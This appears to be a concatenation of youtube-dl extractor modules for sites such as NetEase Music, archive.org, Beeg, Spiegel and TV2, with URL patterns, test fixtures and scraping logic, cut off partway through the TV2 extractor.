class NetEaseMusicProgramIE(NetEaseMusicBaseIE):
    IE_NAME = 'netease:program'
    IE_DESC = '网易云音乐 - 电台节目'
    _VALID_URL = r'https?://music\.163\.com/(#/?)program\?id=(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://music.163.com/#/program?id=10109055',
        'info_dict': {
            'id': '10109055',
            'ext': 'mp3',
            'title': '不丹足球背后的故事',
            'description': '喜马拉雅人的足球梦 ...',
            'creator': '大话西藏',
            'timestamp': 1434179342,
            'upload_date': '20150613',
            'duration': 900,
        },
        'skip': 'Blocked outside Mainland China',
    }, {
        'note': 'This program has accompanying songs.',
        'url': 'http://music.163.com/#/program?id=10141022',
        'info_dict': {
            'id': '10141022',
            'title': '25岁，你是自在如风的少年<27°C>',
            'description': 'md5:8d594db46cc3e6509107ede70a4aaa3b',
        },
        'playlist_count': 4,
        'skip': 'Blocked outside Mainland China',
    }, {
        'note': 'This program has accompanying songs.',
        'url': 'http://music.163.com/#/program?id=10141022',
        'info_dict': {
            'id': '10141022',
            'ext': 'mp3',
            'title': '25岁，你是自在如风的少年<27°C>',
            'description': 'md5:8d594db46cc3e6509107ede70a4aaa3b',
            'timestamp': 1434450841,
            'upload_date': '20150616',
        },
        'params': {
            'noplaylist': True
        },
        'skip': 'Blocked outside Mainland China',
    }]

    def _real_extract(self, url):
        program_id = self._match_id(url)

        info = self.query_api(
            'dj/program/detail?id=%s' % program_id,
            program_id, 'Downloading program info')['program']

        name = info['name']
        description = info['description']

        if not info['songs'] or self._downloader.params.get('noplaylist'):
            if info['songs']:
                self.to_screen(
                    'Downloading just the main audio %s because of --no-playlist'
                    % info['mainSong']['id'])

            formats = self.extract_formats(info['mainSong'])
            self._sort_formats(formats)

            return {
                'id': program_id,
                'title': name,
                'description': description,
                'creator': info['dj']['brand'],
                'timestamp': self.convert_milliseconds(info['createTime']),
                'thumbnail': info['coverUrl'],
                'duration': self.convert_milliseconds(info.get('duration', 0)),
                'formats': formats,
            }

        self.to_screen(
            'Downloading playlist %s - add --no-playlist to just download the main audio %s'
            % (program_id, info['mainSong']['id']))

        song_ids = [info['mainSong']['id']]
        song_ids.extend([song['id'] for song in info['songs']])
        entries = [
            self.url_result('http://music.163.com/#/song?id=%s' % song_id,
                            'NetEaseMusic', song_id)
            for song_id in song_ids
        ]
        return self.playlist_result(entries, program_id, name, description)


class NetEaseMusicDjRadioIE(NetEaseMusicBaseIE):
    IE_NAME = 'netease:djradio'
    IE_DESC = '网易云音乐 - 电台'
    _VALID_URL = r'https?://music\.163\.com/(#/)?djradio\?id=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://music.163.com/#/djradio?id=42',
        'info_dict': {
            'id': '42',
            'title': '声音蔓延',
            'description': 'md5:766220985cbd16fdd552f64c578a6b15'
        },
        'playlist_mincount': 40,
        'skip': 'Blocked outside Mainland China',
    }
    _PAGE_SIZE = 1000

    def _real_extract(self, url):
        dj_id = self._match_id(url)

        name = None
        desc = None
        entries = []
        for offset in compat_itertools_count(start=0, step=self._PAGE_SIZE):
            info = self.query_api(
                'dj/program/byradio?asc=false&limit=%d&radioId=%s&offset=%d'
                % (self._PAGE_SIZE, dj_id, offset),
                dj_id, 'Downloading dj programs - %d' % offset)

            entries.extend([
                self.url_result(
                    'http://music.163.com/#/program?id=%s' % program['id'],
                    'NetEaseMusicProgram', program['id'])
                for program in info['programs']
            ])

            if name is None:
                radio = info['programs'][0]['radio']
                name = radio['name']
                desc = radio['desc']

            if not info['more']:
                break

        return self.playlist_result(entries, dj_id, name, desc)






# coding: utf-8

from __future__ import unicode_literals

import re

from .common import InfoExtractor


class JeuxVideoIE(InfoExtractor):
    _VALID_URL = r'https?://.*?\.jeuxvideo\.com/.*/(.*?)\.htm'

    _TESTS = [{
        'url': 'http://www.jeuxvideo.com/reportages-videos-jeux/0004/00046170/tearaway-playstation-vita-gc-2013-tearaway-nous-presente-ses-papiers-d-identite-00115182.htm',
        'md5': '046e491afb32a8aaac1f44dd4ddd54ee',
        'info_dict': {
            'id': '114765',
            'ext': 'mp4',
            'title': 'Tearaway : GC 2013 : Tearaway nous présente ses papiers d\'identité',
            'description': 'Lorsque les développeurs de LittleBigPlanet proposent un nouveau titre, on ne peut que s\'attendre à un résultat original et fort attrayant.',
        },
    }, {
        'url': 'http://www.jeuxvideo.com/videos/chroniques/434220/l-histoire-du-jeu-video-la-saturn.htm',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        title = mobj.group(1)
        webpage = self._download_webpage(url, title)
        title = self._html_search_meta('name', webpage) or self._og_search_title(webpage)
        config_url = self._html_search_regex(
            r'data-src(?:set-video)?="(/contenu/medias/video.php.*?)"',
            webpage, 'config URL')
        config_url = 'http://www.jeuxvideo.com' + config_url

        video_id = self._search_regex(
            r'id=(\d+)',
            config_url, 'video ID')

        config = self._download_json(
            config_url, title, 'Downloading JSON config')

        formats = [{
            'url': source['file'],
            'format_id': source['label'],
            'resolution': source['label'],
        } for source in reversed(config['sources'])]

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'description': self._og_search_description(webpage),
            'thumbnail': config.get('image'),
        }






from __future__ import unicode_literals

from .jwplatform import JWPlatformBaseIE
from ..utils import (
    unified_strdate,
    clean_html,
)


class ArchiveOrgIE(JWPlatformBaseIE):
    IE_NAME = 'archive.org'
    IE_DESC = 'archive.org videos'
    _VALID_URL = r'https?://(?:www\.)?archive\.org/(?:details|embed)/(?P<id>[^/?#]+)(?:[?].*)?$'
    _TESTS = [{
        'url': 'http://archive.org/details/XD300-23_68HighlightsAResearchCntAugHumanIntellect',
        'md5': '8af1d4cf447933ed3c7f4871162602db',
        'info_dict': {
            'id': 'XD300-23_68HighlightsAResearchCntAugHumanIntellect',
            'ext': 'ogg',
            'title': '1968 Demo - FJCC Conference Presentation Reel #1',
            'description': 'md5:da45c349df039f1cc8075268eb1b5c25',
            'upload_date': '19681210',
            'uploader': 'SRI International'
        }
    }, {
        'url': 'https://archive.org/details/Cops1922',
        'md5': 'bc73c8ab3838b5a8fc6c6651fa7b58ba',
        'info_dict': {
            'id': 'Cops1922',
            'ext': 'mp4',
            'title': 'Buster Keaton\'s "Cops" (1922)',
            'description': 'md5:b4544662605877edd99df22f9620d858',
        }
    }, {
        'url': 'http://archive.org/embed/XD300-23_68HighlightsAResearchCntAugHumanIntellect',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(
            'http://archive.org/embed/' + video_id, video_id)
        jwplayer_playlist = self._parse_json(self._search_regex(
            r"(?s)Play\('[^']+'\s*,\s*(\[.+\])\s*,\s*{.*?}\);",
            webpage, 'jwplayer playlist'), video_id)
        info = self._parse_jwplayer_data(
            {'playlist': jwplayer_playlist}, video_id, base_url=url)

        def get_optional(metadata, field):
            return metadata.get(field, [None])[0]

        metadata = self._download_json(
            'http://archive.org/details/' + video_id, video_id, query={
                'output': 'json',
            })['metadata']
        info.update({
            'title': get_optional(metadata, 'title') or info.get('title'),
            'description': clean_html(get_optional(metadata, 'description')),
        })
        if info.get('_type') != 'playlist':
            info.update({
                'uploader': get_optional(metadata, 'creator'),
                'upload_date': unified_strdate(get_optional(metadata, 'date')),
            })
        return info






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_chr,
    compat_ord,
    compat_urllib_parse_unquote,
)
from ..utils import (
    int_or_none,
    parse_iso8601,
)


class BeegIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?beeg\.com/(?P<id>\d+)'
    _TEST = {
        'url': 'http://beeg.com/5416503',
        'md5': '46c384def73b33dbc581262e5ee67cef',
        'info_dict': {
            'id': '5416503',
            'ext': 'mp4',
            'title': 'Sultry Striptease',
            'description': 'md5:d22219c09da287c14bed3d6c37ce4bc2',
            'timestamp': 1391813355,
            'upload_date': '20140207',
            'duration': 383,
            'tags': list,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        cpl_url = self._search_regex(
            r'<script[^>]+src=(["\'])(?P<url>(?:https?:)?//static\.beeg\.com/cpl/\d+\.js.*?)\1',
            webpage, 'cpl', default=None, group='url')

        beeg_version, beeg_salt = [None] * 2

        if cpl_url:
            cpl = self._download_webpage(
                self._proto_relative_url(cpl_url), video_id,
                'Downloading cpl JS', fatal=False)
            if cpl:
                beeg_version = self._search_regex(
                    r'beeg_version\s*=\s*(\d+)', cpl,
                    'beeg version', default=None) or self._search_regex(
                    r'/(\d+)\.js', cpl_url, 'beeg version', default=None)
                beeg_salt = self._search_regex(
                    r'beeg_salt\s*=\s*(["\'])(?P<beeg_salt>.+?)\1', cpl, 'beeg beeg_salt',
                    default=None, group='beeg_salt')

        beeg_version = beeg_version or '1750'
        beeg_salt = beeg_salt or 'MIDtGaw96f0N1kMMAM1DE46EC9pmFr'

        video = self._download_json(
            'http://api.beeg.com/api/v6/%s/video/%s' % (beeg_version, video_id),
            video_id)

        def split(o, e):
            def cut(s, x):
                n.append(s[:x])
                return s[x:]
            n = []
            r = len(o) % e
            if r > 0:
                o = cut(o, r)
            while len(o) > e:
                o = cut(o, e)
            n.append(o)
            return n

        def decrypt_key(key):
            # Reverse engineered from http://static.beeg.com/cpl/1738.js
            a = beeg_salt
            e = compat_urllib_parse_unquote(key)
            o = ''.join([
                compat_chr(compat_ord(e[n]) - compat_ord(a[n % len(a)]) % 21)
                for n in range(len(e))])
            return ''.join(split(o, 3)[::-1])

        def decrypt_url(encrypted_url):
            encrypted_url = self._proto_relative_url(
                encrypted_url.replace('{DATA_MARKERS}', ''), 'https:')
            key = self._search_regex(
                r'/key=(.*?)%2Cend=', encrypted_url, 'key', default=None)
            if not key:
                return encrypted_url
            return encrypted_url.replace(key, decrypt_key(key))

        formats = []
        for format_id, video_url in video.items():
            if not video_url:
                continue
            height = self._search_regex(
                r'^(\d+)[pP]$', format_id, 'height', default=None)
            if not height:
                continue
            formats.append({
                'url': decrypt_url(video_url),
                'format_id': format_id,
                'height': int(height),
            })
        self._sort_formats(formats)

        title = video['title']
        video_id = video.get('id') or video_id
        display_id = video.get('code')
        description = video.get('desc')

        timestamp = parse_iso8601(video.get('date'), ' ')
        duration = int_or_none(video.get('duration'))

        tags = [tag.strip() for tag in video['tags'].split(',')] if video.get('tags') else None

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'duration': duration,
            'tags': tags,
            'formats': formats,
            'age_limit': self._rta_search(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import codecs

from .common import InfoExtractor
from ..utils import unified_strdate


class GooglePlusIE(InfoExtractor):
    IE_DESC = 'Google Plus'
    _VALID_URL = r'https://plus\.google\.com/(?:[^/]+/)*?posts/(?P<id>\w+)'
    IE_NAME = 'plus.google'
    _TEST = {
        'url': 'https://plus.google.com/u/0/108897254135232129896/posts/ZButuJc6CtH',
        'info_dict': {
            'id': 'ZButuJc6CtH',
            'ext': 'flv',
            'title': '嘆きの天使 降臨',
            'upload_date': '20120613',
            'uploader': '井上ヨシマサ',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        # Step 1, Retrieve post webpage to extract further information
        webpage = self._download_webpage(url, video_id, 'Downloading entry webpage')

        title = self._og_search_description(webpage).splitlines()[0]
        upload_date = unified_strdate(self._html_search_regex(
            r'''(?x)<a.+?class="o-U-s\s[^"]+"\s+style="display:\s*none"\s*>
                    ([0-9]{4}-[0-9]{2}-[0-9]{2})</a>''',
            webpage, 'upload date', fatal=False, flags=re.VERBOSE))
        uploader = self._html_search_regex(
            r'rel="author".*?>(.*?)</a>', webpage, 'uploader', fatal=False)

        # Step 2, Simulate clicking the image box to launch video
        DOMAIN = 'https://plus.google.com/'
        video_page = self._search_regex(
            r'<a href="((?:%s)?photos/.*?)"' % re.escape(DOMAIN),
            webpage, 'video page URL')
        if not video_page.startswith(DOMAIN):
            video_page = DOMAIN + video_page

        webpage = self._download_webpage(video_page, video_id, 'Downloading video page')

        def unicode_escape(s):
            decoder = codecs.getdecoder('unicode_escape')
            return re.sub(
                r'\\u[0-9a-fA-F]{4,}',
                lambda m: decoder(m.group(0))[0],
                s)

        # Extract video links all sizes
        formats = [{
            'url': unicode_escape(video_url),
            'ext': 'flv',
            'width': int(width),
            'height': int(height),
        } for width, height, video_url in re.findall(
            r'\d+,(\d+),(\d+),"(https?://[^.]+\.googleusercontent.com.*?)"', webpage)]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'uploader': uploader,
            'upload_date': upload_date,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    int_or_none,
)


class DotsubIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?dotsub\.com/view/(?P<id>[^/]+)'
    _TEST = {
        'url': 'https://dotsub.com/view/9c63db2a-fa95-4838-8e6e-13deafe47f09',
        'md5': '21c7ff600f545358134fea762a6d42b6',
        'info_dict': {
            'id': '9c63db2a-fa95-4838-8e6e-13deafe47f09',
            'ext': 'flv',
            'title': 'MOTIVATION - "It\'s Possible" Best Inspirational Video Ever',
            'description': 'md5:41af1e273edbbdfe4e216a78b9d34ac6',
            'thumbnail': 're:^https?://dotsub.com/media/9c63db2a-fa95-4838-8e6e-13deafe47f09/p',
            'duration': 198,
            'uploader': 'liuxt',
            'timestamp': 1385778501.104,
            'upload_date': '20131130',
            'view_count': int,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        info = self._download_json(
            'https://dotsub.com/api/media/%s/metadata' % video_id, video_id)
        video_url = info.get('mediaURI')

        if not video_url:
            webpage = self._download_webpage(url, video_id)
            video_url = self._search_regex(
                [r'<source[^>]+src="([^"]+)"', r'"file"\s*:\s*\'([^\']+)'],
                webpage, 'video url')

        return {
            'id': video_id,
            'url': video_url,
            'ext': 'flv',
            'title': info['title'],
            'description': info.get('description'),
            'thumbnail': info.get('screenshotURI'),
            'duration': int_or_none(info.get('duration'), 1000),
            'uploader': info.get('user'),
            'timestamp': float_or_none(info.get('dateCreated'), 1000),
            'view_count': int_or_none(info.get('numberOfViews')),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    js_to_json,
    smuggle_url,
)


class LA7IE(InfoExtractor):
    IE_NAME = 'la7.it'
    _VALID_URL = r'''(?x)(https?://)?(?:
        (?:www\.)?la7\.it/([^/]+)/(?:rivedila7|video)/|
        tg\.la7\.it/repliche-tgla7\?id=
    )(?P<id>.+)'''

    _TESTS = [{
        # 'src' is a plain URL
        'url': 'http://www.la7.it/crozza/video/inccool8-02-10-2015-163722',
        'md5': '8b613ffc0c4bf9b9e377169fc19c214c',
        'info_dict': {
            'id': 'inccool8-02-10-2015-163722',
            'ext': 'mp4',
            'title': 'Inc.Cool8',
            'description': 'Benvenuti nell\'incredibile mondo della INC. COOL. 8. dove “INC.” sta per “Incorporated” “COOL” sta per “fashion” ed Eight sta per il gesto  atletico',
            'thumbnail': 're:^https?://.*',
            'uploader_id': 'kdla7pillole@iltrovatore.it',
            'timestamp': 1443814869,
            'upload_date': '20151002',
        },
    }, {
        # 'src' is a dictionary
        'url': 'http://tg.la7.it/repliche-tgla7?id=189080',
        'md5': '6b0d8888d286e39870208dfeceaf456b',
        'info_dict': {
            'id': '189080',
            'ext': 'mp4',
            'title': 'TG LA7',
        },
    }, {
        'url': 'http://www.la7.it/omnibus/rivedila7/omnibus-news-02-07-2016-189077',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        player_data = self._parse_json(
            self._search_regex(r'videoLa7\(({[^;]+})\);', webpage, 'player data'),
            video_id, transform_source=js_to_json)

        return {
            '_type': 'url_transparent',
            'url': smuggle_url('kaltura:103:%s' % player_data['vid'], {
                'service_url': 'http://kdam.iltrovatore.it',
            }),
            'id': video_id,
            'title': player_data['title'],
            'description': self._og_search_description(webpage, default=None),
            'thumbnail': player_data.get('poster'),
            'ie_key': 'Kaltura',
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    clean_html,
    unified_strdate,
)


class NovaIE(InfoExtractor):
    IE_DESC = 'TN.cz, Prásk.tv, Nova.cz, Novaplus.cz, FANDA.tv, Krásná.cz and Doma.cz'
    _VALID_URL = r'https?://(?:[^.]+\.)?(?P<site>tv(?:noviny)?|tn|novaplus|vymena|fanda|krasna|doma|prask)\.nova\.cz/(?:[^/]+/)+(?P<id>[^/]+?)(?:\.html|/|$)'
    _TESTS = [{
        'url': 'http://tvnoviny.nova.cz/clanek/novinky/co-na-sebe-sportaci-praskli-vime-jestli-pujde-hrdlicka-na-materskou.html?utm_source=tvnoviny&utm_medium=cpfooter&utm_campaign=novaplus',
        'info_dict': {
            'id': '1608920',
            'display_id': 'co-na-sebe-sportaci-praskli-vime-jestli-pujde-hrdlicka-na-materskou',
            'ext': 'flv',
            'title': 'Duel: Michal Hrdlička a Petr Suchoň',
            'description': 'md5:d0cc509858eee1b1374111c588c6f5d5',
            'thumbnail': 're:^https?://.*\.(?:jpg)',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        'url': 'http://tn.nova.cz/clanek/tajemstvi-ukryte-v-podzemi-specialni-nemocnice-v-prazske-krci.html#player_13260',
        'md5': '1dd7b9d5ea27bc361f110cd855a19bd3',
        'info_dict': {
            'id': '1757139',
            'display_id': 'tajemstvi-ukryte-v-podzemi-specialni-nemocnice-v-prazske-krci',
            'ext': 'mp4',
            'title': 'Podzemní nemocnice v pražské Krči',
            'description': 'md5:f0a42dd239c26f61c28f19e62d20ef53',
            'thumbnail': 're:^https?://.*\.(?:jpg)',
        }
    }, {
        'url': 'http://novaplus.nova.cz/porad/policie-modrava/video/5591-policie-modrava-15-dil-blondynka-na-hrbitove',
        'info_dict': {
            'id': '1756825',
            'display_id': '5591-policie-modrava-15-dil-blondynka-na-hrbitove',
            'ext': 'flv',
            'title': 'Policie Modrava - 15. díl - Blondýnka na hřbitově',
            'description': 'md5:dc24e50be5908df83348e50d1431295e',  # Make sure this description is clean of html tags
            'thumbnail': 're:^https?://.*\.(?:jpg)',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        'url': 'http://novaplus.nova.cz/porad/televizni-noviny/video/5585-televizni-noviny-30-5-2015/',
        'info_dict': {
            'id': '1756858',
            'ext': 'flv',
            'title': 'Televizní noviny - 30. 5. 2015',
            'thumbnail': 're:^https?://.*\.(?:jpg)',
            'upload_date': '20150530',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        'url': 'http://fanda.nova.cz/clanek/fun-and-games/krvavy-epos-zaklinac-3-divoky-hon-vychazi-vyhrajte-ho-pro-sebe.html',
        'info_dict': {
            'id': '1753621',
            'ext': 'mp4',
            'title': 'Zaklínač 3: Divoký hon',
            'description': 're:.*Pokud se stejně jako my nemůžete.*',
            'thumbnail': 're:https?://.*\.jpg(\?.*)?',
            'upload_date': '20150521',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        'url': 'http://sport.tn.nova.cz/clanek/sport/hokej/nhl/zivot-jde-dal-hodnotil-po-vyrazeni-z-playoff-jiri-sekac.html',
        'only_matching': True,
    }, {
        'url': 'http://fanda.nova.cz/clanek/fun-and-games/krvavy-epos-zaklinac-3-divoky-hon-vychazi-vyhrajte-ho-pro-sebe.html',
        'only_matching': True,
    }, {
        'url': 'http://doma.nova.cz/clanek/zdravi/prijdte-se-zapsat-do-registru-kostni-drene-jiz-ve-stredu-3-cervna.html',
        'only_matching': True,
    }, {
        'url': 'http://prask.nova.cz/clanek/novinky/co-si-na-sobe-nase-hvezdy-nechaly-pojistit.html',
        'only_matching': True,
    }, {
        'url': 'http://tv.nova.cz/clanek/novinky/zivot-je-zivot-bondovsky-trailer.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('id')
        site = mobj.group('site')

        webpage = self._download_webpage(url, display_id)

        video_id = self._search_regex(
            [r"(?:media|video_id)\s*:\s*'(\d+)'",
             r'media=(\d+)',
             r'id="article_video_(\d+)"',
             r'id="player_(\d+)"'],
            webpage, 'video id')

        config_url = self._search_regex(
            r'src="(http://tn\.nova\.cz/bin/player/videojs/config\.php\?[^"]+)"',
            webpage, 'config url', default=None)

        if not config_url:
            DEFAULT_SITE_ID = '23000'
            SITES = {
                'tvnoviny': DEFAULT_SITE_ID,
                'novaplus': DEFAULT_SITE_ID,
                'vymena': DEFAULT_SITE_ID,
                'krasna': DEFAULT_SITE_ID,
                'fanda': '30',
                'tn': '30',
                'doma': '30',
            }

            site_id = self._search_regex(
                r'site=(\d+)', webpage, 'site id', default=None) or SITES.get(site, DEFAULT_SITE_ID)

            config_url = ('http://tn.nova.cz/bin/player/videojs/config.php?site=%s&media=%s&jsVar=vjsconfig'
                          % (site_id, video_id))

        config = self._download_json(
            config_url, display_id,
            'Downloading config JSON',
            transform_source=lambda s: s[s.index('{'):s.rindex('}') + 1])

        mediafile = config['mediafile']
        video_url = mediafile['src']

        m = re.search(r'^(?P<url>rtmpe?://[^/]+/(?P<app>[^/]+?))/&*(?P<playpath>.+)$', video_url)
        if m:
            formats = [{
                'url': m.group('url'),
                'app': m.group('app'),
                'play_path': m.group('playpath'),
                'player_path': 'http://tvnoviny.nova.cz/static/shared/app/videojs/video-js.swf',
                'ext': 'flv',
            }]
        else:
            formats = [{
                'url': video_url,
            }]
        self._sort_formats(formats)

        title = mediafile.get('meta', {}).get('title') or self._og_search_title(webpage)
        description = clean_html(self._og_search_description(webpage, default=None))
        thumbnail = config.get('poster')

        if site == 'novaplus':
            upload_date = unified_strdate(self._search_regex(
                r'(\d{1,2}-\d{1,2}-\d{4})$', display_id, 'upload date', default=None))
        elif site == 'fanda':
            upload_date = unified_strdate(self._search_regex(
                r'<span class="date_time">(\d{1,2}\.\d{1,2}\.\d{4})', webpage, 'upload date', default=None))
        else:
            upload_date = None

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'upload_date': upload_date,
            'thumbnail': thumbnail,
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from .spiegeltv import SpiegeltvIE
from ..compat import compat_urlparse
from ..utils import (
    extract_attributes,
    unified_strdate,
    get_element_by_attribute,
)


class SpiegelIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?spiegel\.de/video/[^/]*-(?P<id>[0-9]+)(?:-embed|-iframe)?(?:\.html)?(?:#.*)?$'
    _TESTS = [{
        'url': 'http://www.spiegel.de/video/vulkan-tungurahua-in-ecuador-ist-wieder-aktiv-video-1259285.html',
        'md5': '2c2754212136f35fb4b19767d242f66e',
        'info_dict': {
            'id': '1259285',
            'ext': 'mp4',
            'title': 'Vulkanausbruch in Ecuador: Der "Feuerschlund" ist wieder aktiv',
            'description': 'md5:8029d8310232196eb235d27575a8b9f4',
            'duration': 49,
            'upload_date': '20130311',
        },
    }, {
        'url': 'http://www.spiegel.de/video/schach-wm-videoanalyse-des-fuenften-spiels-video-1309159.html',
        'md5': 'f2cdf638d7aa47654e251e1aee360af1',
        'info_dict': {
            'id': '1309159',
            'ext': 'mp4',
            'title': 'Schach-WM in der Videoanalyse: Carlsen nutzt die Fehlgriffe des Titelverteidigers',
            'description': 'md5:c2322b65e58f385a820c10fa03b2d088',
            'duration': 983,
            'upload_date': '20131115',
        },
    }, {
        'url': 'http://www.spiegel.de/video/astronaut-alexander-gerst-von-der-iss-station-beantwortet-fragen-video-1519126-embed.html',
        'md5': 'd8eeca6bfc8f1cd6f490eb1f44695d51',
        'info_dict': {
            'id': '1519126',
            'ext': 'mp4',
            'description': 'SPIEGEL ONLINE-Nutzer durften den deutschen Astronauten Alexander Gerst über sein Leben auf der ISS-Station befragen. Hier kommen seine Antworten auf die besten sechs Fragen.',
            'title': 'Fragen an Astronaut Alexander Gerst: "Bekommen Sie die Tageszeiten mit?"',
            'upload_date': '20140904',
        }
    }, {
        'url': 'http://www.spiegel.de/video/astronaut-alexander-gerst-von-der-iss-station-beantwortet-fragen-video-1519126-iframe.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage, handle = self._download_webpage_handle(url, video_id)

        # 302 to spiegel.tv, like http://www.spiegel.de/video/der-film-zum-wochenende-die-wahrheit-ueber-maenner-video-99003272.html
        if SpiegeltvIE.suitable(handle.geturl()):
            return self.url_result(handle.geturl(), 'Spiegeltv')

        video_data = extract_attributes(self._search_regex(r'(<div[^>]+id="spVideoElements"[^>]+>)', webpage, 'video element', default=''))

        title = video_data.get('data-video-title') or get_element_by_attribute('class', 'module-title', webpage)
        description = video_data.get('data-video-teaser') or self._html_search_meta('description', webpage, 'description')

        base_url = self._search_regex(
            [r'server\s*:\s*(["\'])(?P<url>.+?)\1', r'var\s+server\s*=\s*"(?P<url>[^"]+)\"'],
            webpage, 'server URL', group='url')

        xml_url = base_url + video_id + '.xml'
        idoc = self._download_xml(xml_url, video_id)

        formats = []
        for n in list(idoc):
            if n.tag.startswith('type') and n.tag != 'type6':
                format_id = n.tag.rpartition('type')[2]
                video_url = base_url + n.find('./filename').text
                formats.append({
                    'format_id': format_id,
                    'url': video_url,
                    'width': int(n.find('./width').text),
                    'height': int(n.find('./height').text),
                    'abr': int(n.find('./audiobitrate').text),
                    'vbr': int(n.find('./videobitrate').text),
                    'vcodec': n.find('./codec').text,
                    'acodec': 'MP4A',
                })
        duration = float(idoc[0].findall('./duration')[0].text)

        self._check_formats(formats, video_id)
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description.strip() if description else None,
            'duration': duration,
            'upload_date': unified_strdate(video_data.get('data-video-date')),
            'formats': formats,
        }


class SpiegelArticleIE(InfoExtractor):
    _VALID_URL = 'https?://www\.spiegel\.de/(?!video/)[^?#]*?-(?P<id>[0-9]+)\.html'
    IE_NAME = 'Spiegel:Article'
    IE_DESC = 'Articles on spiegel.de'
    _TESTS = [{
        'url': 'http://www.spiegel.de/sport/sonst/badminton-wm-die-randsportart-soll-populaerer-werden-a-987092.html',
        'info_dict': {
            'id': '1516455',
            'ext': 'mp4',
            'title': 'Faszination Badminton: Nennt es bloß nicht Federball',
            'description': 're:^Patrick Kämnitz gehört.{100,}',
            'upload_date': '20140825',
        },
    }, {
        'url': 'http://www.spiegel.de/wissenschaft/weltall/astronaut-alexander-gerst-antwortet-spiegel-online-lesern-a-989876.html',
        'info_dict': {

        },
        'playlist_count': 6,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        # Single video on top of the page
        video_link = self._search_regex(
            r'<a href="([^"]+)" onclick="return spOpenVideo\(this,', webpage,
            'video page URL', default=None)
        if video_link:
            video_url = compat_urlparse.urljoin(
                self.http_scheme() + '//spiegel.de/', video_link)
            return self.url_result(video_url)

        # Multiple embedded videos
        embeds = re.findall(
            r'<div class="vid_holder[0-9]+.*?</div>\s*.*?url\s*=\s*"([^"]+)"',
            webpage)
        entries = [
            self.url_result(compat_urlparse.urljoin(
                self.http_scheme() + '//spiegel.de/', embed_path))
            for embed_path in embeds
        ]
        return self.playlist_result(entries)






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    int_or_none,
    float_or_none,
    js_to_json,
    parse_iso8601,
    remove_end,
)


class TV2IE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tv2\.no/v/(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.tv2.no/v/916509/',
        'info_dict': {
            'id': '916509',
            'ext': 'mp4',
            'title': 'Se Frode Gryttens hyllest av Steven Gerrard',
            'description': 'TV 2 Sportens huspoet tar avskjed med Liverpools kaptein Steven Gerrard.',
            'timestamp': 1431715610,
            'upload_date': '20150515',
            'duration': 156.967,
            'view_count': int,
            'categories': list,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        formats = []
        format_urls = []
        for protocol in ('HDS', 'HLS'):
            data = self._download_json(
                'http://sumo.tv2.no/api/web/asset/%s/play.json?protocol=%s&videoFormat=SMIL+ISMUSP' % (video_id, protocol),
                video_id, 'Downloading play JSON')['playback']
            for item in data['items']['item']:
                video_url = item.get('url')
                if not video_url or video_url in format_urls:
                    continue
                format_id = '%s-%s' % (protocol.lower(), item.get('mediaFormat'))
                if not self._is_valid_url(video_url, video_id, format_id):
                    continue
                format_urls.append(video_url)
                ext = determine_ext(video_url)
                if ext == 'f4m':
                    formats.extend(self._extract_f4m_formats(
                        video_url, video_id, f4m_id=format_id, fatal=False))
                elif ext == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        video_url, video_id, 'mp4', entry_protocol='m3u8_native',
                        m3u8_id=format_id, fatal=False))
                elif ext == 'ism' or video_url.endswith('.ism/Manifest'):
                    pass
                else:
                    formats.append({
                        'url': video_url,
                        'format_id': format_id,
                        'tbr': int_or_none(item.get('bitrate')),
                        'filesize': int_or_none(item.get('fileSize')),
                    })
        self._sort_formats(formats)

        asset = self._download_json(
            'http://sumo.tv2.no/api/web/asset/%s.json' % video_id,
            video_id, 'Downloading metadata JSON')['asset']

        title = asset['title']
        description = asset.get('description')
        timestamp = parse_iso8601(asset.get('createTime'))
        duration = float_or_none(asset.get('accurateDuration') or asset.get('duration'))
        view_count = int_or_none(asset.get('views'))
        categories = asset.get('keywords', '').split(',')

        thumbnails = [{
            'id': thumbnail.get('@type'),
            'url': thumbnail.get('url'),
